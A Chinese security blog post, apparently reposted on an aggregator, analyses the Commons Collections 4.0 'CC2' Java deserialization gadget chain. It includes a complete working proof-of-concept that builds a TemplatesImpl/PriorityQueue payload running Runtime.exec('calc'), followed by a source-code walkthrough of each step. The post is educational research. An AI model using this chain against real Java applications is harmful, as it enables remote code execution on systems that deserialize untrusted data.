Java安全 CC链2分析

Java安全 CC链2分析

  • cc链2介绍
  • 前置知识
    • 环境配置
    • 类加载机制
  • 触发流程
  • cc链2POC
  • cc链2分析

cc链2介绍

CC2链适用于Apache common collection 4.0版本,由于该版本对AnnotationInvocationHandler类readObject方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同

前置知识

环境配置

有关环境配置请看

Java安全 CC链1分析

不同的是由于我们需要使用的版本为cc4,故需要设置pom.xml文件依赖内容如下

    <dependencies><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version></dependency><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency></dependencies>

类加载机制

可以看这篇文章

Java安全 CC链3分析

触发流程

ysoserial中给出的链

ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify();PriorityQueue.siftDown();siftUpUsingComparator();TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()Runtime.exec()

cc链2POC

package org.example;import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class cc2 {public static void main(String[] args) throws Exception {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("cc2");//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet));  //设置父类为AbstractTransletpayload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtimebyte[] bytes=payload.toBytecode();//转换为byte数组Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImplField field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段field.setAccessible(true);//暴力反射field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段field1.setAccessible(true);//暴力反射field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为testInvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。queue.add(1);//添加数字1插入此优先级队列queue.add(1);//添加数字1插入此优先级队列Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段field2.setAccessible(true);//暴力反射field2.set(queue,comparator);//设置queue的comparator字段值为comparatorField field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImplObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(queue);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();}
}

cc链2分析

先看下PriorityQueue类中的readObject方法,代码如下

    private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();s.readInt();queue = new Object[size];for (int i = 0; i < size; i++)queue[i] = s.readObject();heapify();}

这里我们发现,会先调用defaultReadObject()方法将序列化文件反序列化,然后调用readInt()方法获取优先队列的长度

然后执行 queue[i] = s.readObject(),将优先队列的值赋值给queue[i]数组,queue[i]数组值是在调用writeObject方法序列化时定义的,

queue属性为私有的,我们可以通过反射将其赋值为携带有恶意字节码的TemplatesImpl对象,具体利用下面有讲

1710518725434.png

在对queue[i]循环赋值完成后会调用heapify()方法,我们跟进查看其代码

    private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);}

我们看到代码 int i = (size >>> 1) - 1;,此代码会将优先队列的长度右移1位(缩小两倍),然后减1,如果我们想让循环正常进行的话,优先队列的长度至少为2

然后我们看到循环中的 siftDown方法,代码如下

    private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);}

这里E x则为刚才传入的queue[i],我们跟进到siftDownUsingComparator方法,代码如下

    private void siftUpUsingComparator(int k, E x) {while (k > 0) {int parent = (k - 1) >>> 1;Object e = queue[parent];if (comparator.compare(x, (E) e) >= 0) //由此进入break;queue[k] = e;k = parent;}queue[k] = x;}

这里会对queue[i]执行comparator.compare方法,我们看到comparator属性的定义如下

    private final Comparator<? super E> comparator;

我们发现comparator属性为私有的,在poc当中通过反射把该属性的值设为了TransformingComparator对象,代码如下

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

我们跟进到该对象的compare方法,代码如下

    public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}

这里调用了InvokerTransformer对象**(transformer属性)**的transform方法,我们跟进查看代码

    public O transform(final Object input) {if (input == null) {return null;}try {final Class<?> cls = input.getClass();final Method method = cls.getMethod(iMethodName, iParamTypes);return (O) method.invoke(input, iArgs);} catch (final NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +input.getClass() + "' does not exist");} catch (final IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +input.getClass() + "' cannot be accessed");} catch (final InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +input.getClass() + "' threw an exception", ex);}}

这里的input属性仍为之前的queue[i]iMethodName属性的值为我们创建对象时,通过构造方法穿进去的"newTransformer"

method.invoke(input, iArgs);这句代码会调用queue[i]newTransformer方法

poc中的queue[0]被赋值为TemplatesImpl对象,定义如下

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段field3.setAccessible(true);//暴力反射field3.set(queue,new Object[]{templatesImpl,templatesImpl});//templatesImpl即为携带恶意静态代码的对象

下面流程基本和cc3相同了

我们跟进到TemplatesImpl对象newTransformer方法,代码如下

    public synchronized Transformer newTransformer()throws TransformerConfigurationException{TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory); //关键语句if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;}

我们代码中标注的关键语句调用了getTransletInstance()方法,我们查看其代码如下

private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
……………………}

可以看到假如满足if (_name != null)if (_class == null)的话会调用defineTransletClasses()方法,代码如下

private static String ABSTRACT_TRANSLET= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}
…………for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass(); //注意if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}
…………}

这里会加载携带恶意静态代码的字节流类_bytecodes复制给数组_class[i],然后回到getTransletInstance()方法

执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();这里会将刚才携带恶意代码的类进行初始化执行静态恶意代码,到此攻击完成

需要注意的是我们构造的这个字节流序列化对象要为AbstractTranslet类的子类

成功弹出计算器
1710518758561.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2869398.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

中文编程入门(Lua5.4.6中文版)第四章 Lua 流程控制

Lua 编程语言中的流程控制就像推塔游戏战场上的智谋队长&#xff0c;挥舞着策略之剑&#xff0c;根据战场局势&#xff08;条件语句&#xff09;的演变&#xff0c;精准地指挥团队成员执行或猛攻或防守的操作。在这场代码与逻辑的对战中&#xff0c;当判定条件亮起 “true” 的…

【Java】List, Set, Queue, Map 区别?

目录 List, Set, Queue, Map 区别&#xff1f; Collection和Collections List ArrayList 和 Array区别&#xff1f; ArrayList与LinkedList区别? ArrayList 能添加null吗&#xff1f; ArrayList 插入和删除时间复杂度&#xff1f; LinkedList 插入和删除时间复杂度&…

Javaweb day17 day18 day19

mysql-DDL 数据库操作 写法 客户端工具 &#xff08;也可以使用idea&#xff09; 表 写法 约束 数据类型 案例 写法 表的查询修改删除 写法 删除

抖去推无人直播+矩阵托管+AI文案撰写一体化工具如何开发搭建

一、 开发和搭建抖去推无人直播矩阵托管AI文案撰写一体化工具需要以下步骤&#xff1a; 确定功能需求&#xff1a;确定抖去推无人直播、矩阵托管和AI文案撰写的具体功能需求&#xff0c;如直播推流、直播管理、托管服务、AI文案生成等。 技术选型&#xff1a;选择适合开发该工…

ChatGPT编程—实现小工具软件(文件查找和筛选)

ChatGPT编程—实现小工具软件(文件查找和筛选) 今天借助[小蜜蜂AI][https://zglg.work]网站的ChatGPT编程实现一个功能&#xff1a;根据特定需求结合通配符和其他条件来进行文件查找和筛选。在这个例子中&#xff0c;我们将创建一个函数find_files&#xff0c;它接受用户输入的…

Qt 写一个邮件发送程序

最近在完成一个邮箱代替的告警功能&#xff0c;写了一个邮件发送的demo 以下为代码&#xff1a; #ifndef MAINWINDOW_H #define MAINWINDOW_H#include <QMainWindow> #include<QTcpSocket> namespace Ui { class MainWindow; }class MainWindow : public QMainWin…

RoketMQ主从搭建

vim /etc/hosts# IP与域名映射&#xff0c;端口看自己的#nameserver 192.168.126.132 rocketmq-nameserver1 192.168.126.133 rocketmq-nameserver2# 注意主从节点不在同一个主机上 #broker 192.168.126.132 rocketmq-master1 192.168.126.133 rocketmq-master2#broker 192.168…

LeetCode 2684.矩阵中移动的最大次数:一列一列处理,只记能到哪行(BFS)

【LetMeFly】2684.矩阵中移动的最大次数&#xff1a;一列一列处理&#xff0c;只记能到哪行(BFS) 力扣题目链接&#xff1a;https://leetcode.cn/problems/maximum-number-of-moves-in-a-grid/ 给你一个下标从 0 开始、大小为 m x n 的矩阵 grid &#xff0c;矩阵由若干 正 整…

SQLiteC/C++接口详细介绍之sqlite3类(十五)

返回目录&#xff1a;SQLite—免费开源数据库系列文章目录 上一篇&#xff1a;SQLiteC/C接口详细介绍之sqlite3类&#xff08;十四&#xff09; 下一篇&#xff1a;SQLiteC/C接口详细介绍之sqlite3类&#xff08;十六&#xff09; 47.sqlite3_set_authorizer 用法&#xff…

会员项目定价卡css3特效

会员项目定价卡css3特效&#xff0c;源码由HTMLCSSJS组成&#xff0c;记事本打开源码文件可以进行内容文字之类的修改&#xff0c;双击html文件可以本地运行效果&#xff0c;也可以上传到服务器里面 下载地址 会员项目定价卡css3特效代码

(一)、机器人时间同步方案分析

1、是否有必要进行时间同步 目前的自动驾驶系统包括 感知、定位、决策规划、控制 等模块&#xff0c;这些模块的正常运行需要依靠各种不同类型的传感器数据的准确 融合。尤其是激光雷达与相机这两种传感器在感、知定位模块中起着至关重要的作用。机械式旋转扫描激光雷达本身较低…

2024最新手赚手机软件APP下载排行网站源码及应用商店源码

这是一款简洁蓝色的手机软件下载应用排行、平台和最新发布网站&#xff0c;采用响应式织梦模板。主要包括主页、APP列表页、APP详情介绍页、新闻资讯列表、新闻详情页、关于我们等模块页面。 源码下载&#xff1a;https://download.csdn.net/download/m0_66047725/88898956 更…

数字IC实践项目(9)—SNN加速器的设计和实现(tiny_ODIN)

数字IC实践项目&#xff08;9&#xff09;—基于Verilog的SNN加速器 写在前面的话项目整体框图完整电路框图 项目简介和学习目的软件环境要求 Wave&CoverageTiming&#xff0c;Area & Power总结 写在前面的话 项目介绍&#xff1a; SNN硬件加速器是一种专为脉冲神经网…

用 Visual Studio 调试器中查看内存中图像

返回目录&#xff1a;OpenCV系列文章目录&#xff08;持续更新中......&#xff09; 前一篇&#xff1a;OpenCV4.9.0在windows系统下的安装 后一篇&#xff1a; ​警告 本教程可以包含过时的信息。 Image Watch 是 Microsoft Visual Studio 的插件&#xff0c;可用于在调…

网络安全——关于防火墙

网络安全防火墙是很重要的部分&#xff0c;关于防火墙我们要知道&#xff0c;他默认所有流量都是黑名单&#xff0c;只有开启允许通过才可以。 我们通过一个实验来学防火墙命令。 防火墙要登录才能使用&#xff0c;用户名是admin,默认密码是Admin123&#xff0c;在第一次登录…

【视频异常检测】Diversity-Measurable Anomaly Detection 论文阅读

Diversity-Measurable Anomaly Detection 论文阅读 Abstract1. Introduction2. Related Work3. Diversity-Measurable Anomaly Detection3.1. The framework3.2. Information compression module3.3. Pyramid deformation module3.4. Foreground-background selection3.5. Trai…

鸿蒙Harmony应用开发—ArkTS声明式开发(容器组件:Stack)

堆叠容器&#xff0c;子组件按照顺序依次入栈&#xff0c;后一个子组件覆盖前一个子组件。 说明&#xff1a; 该组件从API Version 7开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 子组件 可以包含子组件。 接口 Stack(value?: { ali…

【数据结构和算法初阶(C语言)】队列实操(概念实现+oj题目栈和队列的双向实现以及循环链表难点题目详解!)

目录 1. 队列的概念及结构 2.队列结构存在的意义应用 3.队列实现的结构选择 4.队列实现 5.队列对数据的处理 5.1队列初始化 5.2队尾入数据 5.3队头出数据 5.4获取队列尾部元素 5.5获取队列头部元素 5.6获取队列中元素个数 5.7检测队列是否为空 5.8销毁队列 6.循环队列补充 7.使…

计算机组成原理 第五章(计算机的运算方法)—第一节(无符号数和有符号数)

写在前面&#xff1a; 本系列笔记主要以《计算机组成原理&#xff08;唐朔飞&#xff09;》为参考&#xff0c;大部分内容出于此书&#xff0c;笔者的工作主要是挑其重点展示&#xff0c;另外配合下方视频链接的教程展开思路&#xff0c;在笔记中一些比较难懂的地方加以自己的…

zookeeper快速入门一:zookeeper安装与启动

本文是zookeeper系列之快速入门中的第一篇&#xff0c;欢迎大家观看与指出不足。 写在前面&#xff1a; 不影响教程&#xff0c;笔者安装zookeeper用的是WSL(windows下的linux子系统&#xff09;&#xff0c;当然你想直接在windows上用zookeeper也是可以的。 如果你也想用ws…